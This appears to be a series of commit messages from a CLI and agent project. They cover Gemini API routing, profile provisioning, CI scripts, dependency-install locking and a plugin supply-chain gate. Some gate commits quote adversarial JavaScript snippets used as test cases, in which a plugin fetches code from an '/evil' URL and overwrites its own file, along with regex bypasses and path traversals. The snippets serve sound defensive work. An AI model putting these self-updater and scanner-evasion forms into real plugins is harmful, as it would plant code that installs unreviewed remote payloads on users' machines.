- agent.verbose: the example config seeded it, but verbosity comes from
--verbose / display.tool_progress (de5a88bd97 dropped the read).
- display.copy_shortcut: default added in 645a2f482d with no reader; the
Ctrl+Shift+C binding never consulted it.
- slack.reply_prefix: the Slack docs promised a prefix on every message, but
only the WhatsApp adapters read reply_prefix.
Part of #126448
Image URLs in an agent reply are downloaded by Slack / Telegram / Feishu /
Mattermost / Weixin before upload, and those paths read the whole body into
memory with no cap, so a streamed unbounded body could OOM the gateway.
They now stream through the same capped reader the inbound path uses and
take the adapter's existing fallback when the cap is exceeded.
Rebased onto current main (adapters moved under plugins/platforms/, the
SSRF redirect guard went public as ssrf_redirect_guard). The capped reader
is made public too (read_httpx_body_with_limit) so the plugins do not add
new private-core imports; the Teams baseline entry for the old private
name is dropped.
Fixes#122667
Google's Interactions API is now the recommended Gemini interface and where
new Gemini capabilities launch. The gemini plugin now
supplies its own client (ProviderProfile.create_client), which sends each
call to Interactions or to generateContent per model:
- providers.gemini.gemini_api / providers.gemini.models.<m>.gemini_api:
interactions | generate_content | auto (default). auto keeps
generateContent except for INTERACTIONS_MODELS (empty for now, so
default behavior is unchanged). Only the AI Studio host has Interactions,
so Vertex express and proxy bases stay on generateContent.
- Stateless (store: false): the full history goes as typed steps, so
compaction, branching and model switches behave as on generateContent.
Thought signatures ride extra_content.google.thought_signature (the
existing slot) and replay as thought steps.
- Streaming (step.start/delta/stop, arguments_delta, thought summaries and
signatures), usage (thoughts folded into completion tokens), status to
finish_reason, in-band errors mapped to HTTP-equivalent codes.
- Long decode continues requires_continuation hops with
previous_interaction_id + continuation_token, which needs a stored
interaction, so only those requests set store: true.
- A long-decode stream that drops resumes from its last mid-stream
checkpoint token (same request, continued), as the generateContent path
does. Output past the checkpoint voids it: resuming would repeat that
output, so the turn is retried instead. The dropped hop is counted up to
its checkpoint.
One core line: gemini_api joins the known providers.<name> keys, so setting
it no longer logs "unknown config keys ignored". Otherwise core is
untouched: the generateContent path is the existing GeminiNativeClient,
and the plugin rebuilds the same keepalive client and provider TLS settings
the core gives it.
config_mutation_lock.py duplicated web_server._CONFIG_MUTATION_LOCK (965a548788). The lock now lives
in web_server_profiles beside _SKILLS_PROFILE_LOCK; web_server re-exports it for the routers' LateState
lookups and profile_provision imports it with the scope helpers it already uses.
Comment pass: narration, move history and section banners removed from the
added code; long docstrings trimmed to their contract. The two now-identical create_profile name
checks in check_profile_create_entry.py merge into one branch, and _mirror_voice_sections runs
through _try (logged) instead of its own silent catch-all.
`hermes profile create`, `POST /api/profiles` and the Desktop/TUI
`profiles.create` RPC each called `create_profile()` and then ran their own
post-create steps (skills, alias, credentials, model, MCP servers, skill
selection). The same "new profile" therefore came out different
depending on where it was started, and a fix to one surface missed the
other two.
Add `hermes_cli/profile_provision.py` with
`provision_profile(ProfileCreateRequest) -> ProvisionResult`. Every surface
now builds a request and renders the result. `create_profile()` keeps the
folder work (validate, copy, strip channels, stage, publish, notify);
`provision_profile` runs every later step in one fixed order. A failing
later step never undoes the create: it is a warning in the result, as the
dashboard and RPC already treated it.
- The dashboard's model / MCP / skill-selection writers and the RPC's
launch-credential mirroring moved into the module; the routers import
them. Every config read-modify-write during create now holds the
dashboard's `_CONFIG_MUTATION_LOCK` (MCP servers, voice sections,
endpoint seed and base_url restore were unlocked on main).
- Plugins get no step here: since main's 6933155eaf the core create calls
the selected memory provider's on_profile_created hook, so every surface
already gets the provider's per-profile files.
- `scripts/check_profile_create_entry.py` (scripts/check, lint.yml) scans
every production Python file and fails on any use of `create_profile`
outside its definition and the new module: calls, imports, aliases, the
function passed as a value, getattr by name, and files that do not parse.
Behaviour is unchanged on purpose: each surface passes the options it used
before (only the RPC mirrors launch credentials). Two small differences,
both on failure paths: a failing post-create step in the CLI prints a
warning instead of a traceback, and the RPC writes SOUL.md during the core
create (as the dashboard already did), so a failed write fails the create
instead of returning soul_written=false.
A cancelled gate could pass on a live run of another PR that shares its head
SHA. Fork runs carry an empty pull_requests list, so the PR cannot be matched
without refusing every fork duplicate; require the twin's head_branch and
head_repository.id to match instead (both duplicates of one push share them).
Also soften the README: the last run to start never passes by delegation,
and a run cancelled while still pending never runs its gate.
Suggested by Greptile; narrowing from @BearHuddleston's review.
Catch AttributeError in the superseding-run lookup so a JSON list page keeps
the gate failing with its job report instead of a traceback.
Suggested by @BearHuddleston's review.
Order superseding runs by (run_started_at, id) so the later entrant to the
concurrency group, which is the one that cancels, carries the verdict. Let
attempt 2 delegate only when attempt 1 concluded action_required (a fork
run held for approval). Adds tests for a pending twin and the client-side
workflow/SHA/event check.
Patch from @BearHuddleston's review.
A cancelled run's gate may now pass only when a strictly newer run (higher id) of the same workflow, event and head SHA is live or succeeded, and only on the run's first attempt. Delegation is acyclic, so two cancelled duplicates can no longer vouch for each other and the newest cancelled run always fails.
ludeeus/action-shellcheck (00cae500) also selects *.bash, *.ksh, *.zsh,
*.shlib and the shell rc/profile names. The local selector took only *.sh
plus shebang files, so a future docker/foo.bash would be checked in CI and
skipped locally. Both selections give the same 8 files under docker/ today.
On native Windows print() ends in CRLF and $(...) strips only the LF, so
HERMES_PYTHON kept a trailing CR and generate-icons.mjs could not spawn it.
The path is now printed without a newline.
Locally the script left the interpreter to generate-icons.mjs, which takes
HERMES_PYTHON, else `python` on PATH. In an unactivated shell that is the
PM toolchain Python, and the renderer runs it isolated (-I), so Pillow and
resvg-py are missing. Outside Actions the script now selects the checkout's
runtime venv (pm.environments.project_python) through scripts/hermes-python.
On a runner it still uses setup-pm's HERMES_PYTHON unchanged.
Honcho left core on 2026-10-01 (7e53b3ef82) and ships from plastic-labs/honcho, but core kept
four places that know its file layout: profile create and rename edited Honcho's host blocks,
`hermes update` called the plugin's `sync_honcho_profiles_quiet()`, and the dashboard config
panel had a Honcho-only storage kind that imported the plugin's private `client` and `oauth`
modules (including its lock internals).
Replace them with seams any memory provider can use:
- MemoryProvider.on_profile_created / on_profile_renamed: called for the provider the profile's
config selects, with that profile's home and its own .env secrets bound, from create_profile
(CLI, dashboard, Desktop/TUI) and rename_profile. A failing hook, or an unreadable config, is
logged and never fails the create or rename.
- STORAGE_PROVIDER for config_schema.py, with read_config_fields / write_config_fields on the
provider: the provider owns its file layout; core keeps coercion, the memory.provider switch,
the 400 on a refused write, and saves secrets to .env only after the provider accepted them.
Delete: hermes_cli/profiles_honcho.py, the CLI create's Honcho step, the update-time sync,
STORAGE_HONCHO_HOST_BLOCK and the host-block reader/writer, the empty `honcho: {}` config
root and its template block, HONCHO_API_KEY in _ENV_CONFIG_KEYS (the *_API_KEY rule covers
it), the dead check_config_yaml_readers exemption, and "honcho" as a hardcoded reserved
profile/subcommand name (alias collision now checks installed memory-provider names).
_record_profile_rename moves to profile_identity.py (profiles.py line budget).
Kept: honcho in the left-core migration (moves existing users onto the catalog plugin), its
env-var metadata, and comments that use it as an example.
Until the Honcho plugin implements these methods (catalog pin 7dd3702 does not), its dashboard
panel is empty, --clone creates no host block for the new profile and rename does not re-key
it; `hermes honcho sync` still creates missing host blocks by hand.
The pinned hadolint digest moves from the workflow into the script, which CI calls as
`lint_docker.sh hadolint`. Locally the script also runs shellcheck on the files
ludeeus/action-shellcheck selects under docker/. Editing the script alone now starts the
docker_meta lane that runs it, without building an image.
The repo-guards step scripts publish through RUNNER_TEMP, GITHUB_OUTPUT and
GITHUB_STEP_SUMMARY, and the supply-chain scan reads the PR's base and head, so run
locally they died on a KeyError. scripts/ci/local_step.sh gives each step throwaway
runner files and the merge base with origin/main as the PR base. It fails a step on a
non-zero exit or found=true, runs every step, and runs them on the bootstrap Python, as
the pre-setup-pm steps run. CI is unchanged.
The repo-guards icon step moves into scripts/ci/check_icons.sh, and CI now calls it
through `just check-icons` (setup-pm already precedes the step). On a runner the script
keeps the old whole-tree check, so it still catches files an earlier step left behind.
Anywhere else it diffs against a scratch-index snapshot, so uncommitted work is not
reported as icon drift and the real index is untouched.
The checkout lock, the child supervision and the heartbeat, watcher and
relay programs embedded as strings move out of node-deps.mjs:
node-deps-lock.mjs owns who may touch the trees, and the three programs are
real .mjs files (node-deps-heartbeat/-watcher/-relay.mjs) that lint and
navigation can see. node-deps.mjs keeps recovery, install and commit.
No behaviour change; the watcher's empty catches now say why.
The new files ship wherever node-deps.mjs did: the Dockerfile's
dependency layer, nix/webapp.nix, the webapp freshness inputs, the desktop
input-cache key, and the source-build test fixture.
The lockfile, projects and receipt key were read before lockCheckout,
which can wait 10 minutes. A run that waited out an update compared the
new trees with the old files: it reused a stale receipt or rejected a good
install. They are now read and validated after the lock is taken.
The relay started pnpm first and the watcher after it, with no error
handler: a watcher spawn failure (a process or descriptor limit) exited the
relay while pnpm went on writing the trees the failed run then restored.
The relay now starts pnpm only once the watcher has spawned, and hands it
the pid on stdin; a watcher that cannot start fails the run before
anything touches the trees.
node-deps had no SIGINT/SIGHUP listener, so a Ctrl-C or closed terminal
during pnpm killed it before the restore and the release: the next run
waited out the 30 s stale limit on a dead owner. The run now outlives the
job signals while its child runs (the child gets them too and exits), and
the CLI exits with the child's 128 + n so Ctrl-C still reports 130.
SIGTERM is left out: one aimed at node-deps alone still kills it and the
relay passes it on.
A takeover rename that kept failing (EPERM/EBUSY/EACCES) skipped both the
deadline check and the sleep, so the wait spun past its limit. A failed
rename now waits like a live owner.
pnpm 12 reads neither npm_config_fetch_retries nor fetch-retries from an npmrc,
so treating them as the user's choice left pnpm's default of 2 retries (~70 s
offline) instead of the user's count or the launch's 1.
A run that lost its lock during the reuse check failed with a raw ENOENT from
the tree the new owner had moved; it now reports the lost lock. A release that
throws (a leaked guard past the wait bound) no longer replaces the error that
failed the run.
Ctrl-Z stops the whole job, pnpm included. A run stopped past the stale limit
lost its lock, but no check could run while it blocked in execFileSync, so on
`fg` its pnpm finished writing into the trees the next owner had installed and
certified.
pnpm and Electron's installer now run under a watcher outside the job (its own
session; taskkill /T on Windows) that re-reads the lock every 250 ms and kills
the child's process tree, stopped first so nothing forks meanwhile, once the
lock is no longer its run's. pnpm stays in the job, so Ctrl-C and Ctrl-Z reach
it as before, and a SIGTERM aimed at node-deps alone is now passed on to it.
A run that breaks a lock replaces it in one rename and waits 2 s before it
touches the trees, so the old owner's watcher acts first.
A launch forced pnpm_config_fetch_retries=1 whenever the env did not set it,
overriding a count in pnpm's config.yaml or pnpm-workspace.yaml, or the user
npmrc's fetch-retries. Lower it only when none of them sets one.
A leaked guard dated in the future (a network filesystem's clock ahead, or a
clock stepped back) never aged out by its mtime, so underGuard spun forever.
It is now judged like the lock, by staying unchanged on this process's
monotonic clock, and the wait stops at the lock's wait limit.
One EBUSY/ESTALE/EMFILE from utimes stopped the heartbeat for good, so a
waiter broke the lock of an install that was still running and both pnpm
installs ran in one checkout. The heartbeat now stops only on release, when
the lock is gone, or when it holds another run's token.
The heartbeat worker's flag lagged a resumed process by up to a beat, and
restore, discard and the Electron step never consulted it. An owner stopped
past the stale limit could restore its old trees over the new owner's fresh
ones, or write a receipt for a tree another run built. Every recover, move,
restore, discard, receipt write and pnpm start now re-reads the lock file and
compares the token; a run that lost it exits without touching the trees or
the set aside.
A source launch (`hermes --tui`, the dashboard) that has to install waited ~70 s on
pnpm's default retries before failing offline and falling back to the previous build,
holding the checkout lock the whole time. Launches now retry a download once (~10 s).
Updates and explicit builds keep the defaults. The retry settings are left out of the
reuse receipt, which covers what is installed, not how it was downloaded.
The pid/host/start-time owner check kept a dead run's lock forever when its pid was
reused by another user's process (EPERM), on Windows and macOS (no start time), after a
hostname change, and it took over a live lock from a sibling PID namespace. The wait had
no limit, so `hermes update` and `hermes --tui` could hang with the remedy cut off a
narrow progress line.
The owner now refreshes the lock's mtime from a worker thread; a lock a waiter sees
unchanged for 30 s of its own monotonic clock is broken, whatever it names. Removals run
under a short guard and re-check the content, which also closes the three-way takeover
race. The wait gives up after 10 minutes, with the remedy at the start of the line. A
run suspended past the stale limit certifies nothing.
The moved-set record is written to a temporary file and renamed, so a kill or ENOSPC
mid-write cannot leave a record that breaks every later run, and a previous set that
cannot be deleted after a successful install no longer fails the run: the next run's
recovery removes it.
A node_modules that is a mount point (a container volume) cannot be
renamed (EBUSY), nor moved to a .cache on another filesystem (EXDEV).
moveAside then restored and threw, so no install ran. Such a tree is
emptied in place, as before the move-aside, and only it cannot be
restored. On Windows EBUSY means an open file, and it stays a failure.
Every run, --no-install and reuse checks included, restored a set left
in .cache/node-deps-previous without a lock. A launch beside an
install put the old trees back under it, and that install then wrote a
receipt for the new inputs over the old tree. A kill while the set was
being deleted left a partial copy, which the next run restored over
the fresh trees.
node-deps now takes .cache/node-deps.lock (owner pid, host and Linux
start time; a dead owner's lock is taken over) around recovery, the
reuse check, the install and the receipt. The set records its trees
before the first move and is marked complete after the last. A run
after a kill keeps a finished pnpm install (one that wrote
.pnpm-workspace-state-v1.json after the move) instead of restoring
over it, and finishes an interrupted move or restore. The set is
renamed away before it is deleted, and the receipt is written first.
The receipt also requires pnpm's installed lock to hold this
lockfile's importers.
node-deps.mjs deleted every installed tree before pnpm fetched anything.
The first pnpm install runs on an empty store, so an unreachable registry
left no node_modules and every later `hermes --tui` failed.
Move the trees under .cache/node-deps-previous instead, put them back if
pnpm or the Electron step fails, and drop them once the install succeeds.
A run killed mid-install gets them back on the next run. Installs still
start from empty trees, because pnpm won't restore gutted packages.
`pnpm fetch` cannot fill the store first in pnpm 12: it takes no filter,
and it rewrites node_modules/.pnpm itself, even when it fails.
Fixes#150031
BearHuddleston: '(?::|=>)' also matched an arrow function returning ajv's id
(const f = $id => '<ajv id>'; fetch(new URL('/evil', f()))), stripping the id
and letting a fetch-base self-updater pass. No JS object declaration uses '=>',
so restrict the separator to ':'. Add arrow_fn_base and other_url_declared as
red cases (the latter pins that only ajv's exact id -- not any
raw.githubusercontent URL in a $id -- is exempt).
Two review findings on the regex approach:
- Greptile: the fixed `$id: "` / `$ref: "` lookbehinds rejected harmless ajv
bundles with quoted keys ("$id":) or minified spacing ($id:"...") -- the very
false rejection this change removes.
- BearHuddleston: the lookahead left a `.../data.json/../../evil` traversal (Node
normalizes it to a real GitHub path) and a real fetch sharing a minified line
with the inert id.
Replace the overloaded grep pattern with a plain grep -E first cut plus a Python
refinement (_file_fetches_github): strip the inert ajv $id/$ref DECLARATION in
any quoting/spacing, then a real raw.githubusercontent / release URL remaining is
a true fetch. "#" is the only id terminator, so a traversal out of data.json is a
different, non-exempt URL; the literal reused as a fetch base is not a declaration
and stays flagged. Tests parametrize four legit declaration forms and four
adversarial forms (two traversals, beside-id, fetch-base).
Greptile (P1): exempting the ajv meta-schema URL by value let the same literal
be abused as an executable fetch base --
`new URL('/evil/repo/main/plugin.js', ajvUrl); fetch(u)...writeFileSync(__filename, body)`
-- whose only raw.githubusercontent occurrence is the exempt id, so the fetch
scan skipped the file and the write scan never saw it.
Pin the exemption to the `$id: "`/`$ref: "` schema-declaration prefix with
fixed-length negative lookbehinds, so the URL is inert only where ajv declares
its meta-schema. The executable-base form, a sibling refs path, and a traversal
all still trip the gate. Adds the new-URL-base exploit as an invariant test.
A plugin that bundles ajv ships ajv's draft-06 meta-schema, whose $id/$ref is
the literal string "https://raw.githubusercontent.com/ajv-validator/ajv/master/
lib/refs/data.json#". ajv matches that identifier by value against its own
in-memory schema; it never drives a network request. But the self-updater gate's
fetch pattern matched raw.githubusercontent.com anywhere, so any such bundle that
also wrote a data file (both halves in one minified file) was rejected as a
self-updater (e.g. subnano's server/cli.js).
Exempt only that exact inert id, pinned up to its "#" fragment terminator via a
negative lookahead (needs grep -P), so a real fetch under any other
raw.githubusercontent path -- or a traversal like .../lib/refs/../../payload.js --
still trips the gate. Two invariant tests cover the exemption and the traversal.
docs-lint-diagrams called the website's lint:diagrams script, which needs
ascii-guard on PATH; only CI installed it, so `just docs-check` stopped
there locally. The recipe now runs the pinned ascii-guard through
scripts.ci.python_packages, the same pm environment CI uses, with the
same arguments: 442 files checked locally, and a malformed box fails it
as it fails the npm script.
check_generated_skill_docs.sh moves to website/scripts/, beside the
generator it checks, so a change to it starts the docs job.
`just termux-payload <payload> <package>...` calls the new
scripts/termux/stage_payload.sh, which runs termux_pkg_build.sh for each
package in order, then stage_runtime_libs.py: the same four commands the
"Stage the pinned bionic runtimes" step ran (build_cpython.sh and
build_uv.sh are one-line wrappers over termux_pkg_build.sh with the
package name as the subdir). The archive_inputs step before it stays a
separate step: it needs R2 credentials and is not a developer command.
The native linker contracts step runs `just test -j 2 <files>`, which is
scripts/run_tests.sh --require-paths with the same arguments.
desktop-bundled-release.yml stages the same payload in separate steps and
is unchanged.
New recipes, each one line over the script CI already ran:
- `just docs-generate`: extract-skills.py, then generate-skill-docs.py.
- `just docs-check-generated`: the "committed skill docs match the
generator" block, moved verbatim into scripts/ci/check_generated_skill_docs.sh
(same `git add -N`, same diff paths, same ::error:: line and exit 1).
- `just docs-check-links`, `just docs-lint-diagrams`.
- `just docs-check`: generate, then the three checks, in CI's order.
docs-site-checks.yml calls docs-install, docs-generate, the three checks
and docs-build. deploy-site.yml calls docs-generate and docs-install; its
generate-skill-docs.py step moves up beside extract-skills.py because it
reads neither the plugin stars nor the plugin catalog the steps between
them write. Its full bilingual `npm run build`, staging and Pages deploy
steps stay inline. Python recipes run through scripts/hermes-python, which
uses the interpreter setup-pm exports as HERMES_PYTHON, as python3 did.
_check_attested removes each verified file from the clone so the payload scan
ignores it, and it ran before _check_self_updater. A plugin could list a JS
updater under attested_binaries: once its provenance checked out the file was
gone, the self-updater grep never saw it, and users still got it from the
pin. Provenance shows where a file came from, not what it does, so the
self-updater gate now runs before anything is removed.
README rule 17 lets a catalog entry ship a native binary listed under
attested_binaries, if `gh attestation verify` proves the plugin repo built it
at the pinned commit. The old inline step fed its parser as
`python3 -I - "$entry" <<PYEOF </dev/null`; the later </dev/null replaced the
heredoc, so the parser ran an empty program, the list always came back empty
and `gh attestation verify` never ran. #151877 moved the step into
scripts/ci/ and kept that dead branch out, so behaviour stayed the same.
The field reader now returns the attested paths beside the clone source and
rejects any that is not a plain relative path. The gate verifies each one
against the entry's repo at the pinned sha, then removes it so the payload
scan ignores it, and any other binary still fails. No catalog entry declares
attested_binaries today, so nothing admitted now changes.